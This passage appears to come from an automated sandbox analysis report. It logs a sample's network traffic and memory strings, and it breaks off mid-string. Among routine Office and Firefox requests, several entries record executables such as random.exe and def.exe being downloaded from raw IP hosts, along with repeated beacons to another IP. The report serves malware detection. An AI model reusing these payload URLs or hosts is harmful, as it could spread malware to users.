Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000003.2730372088.0000023509E67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: recipes from Remote Settingsbrowsing-context-discardedhttps://www.facebook.com/ references unknown feature ID bound onEnabledPrefChangers-experiment-loader-timerCould not find experiment slug did not match recipe schema equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002A.00000002.3014163475.000001FA7A11A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA79781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA737F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA737F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA73753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", 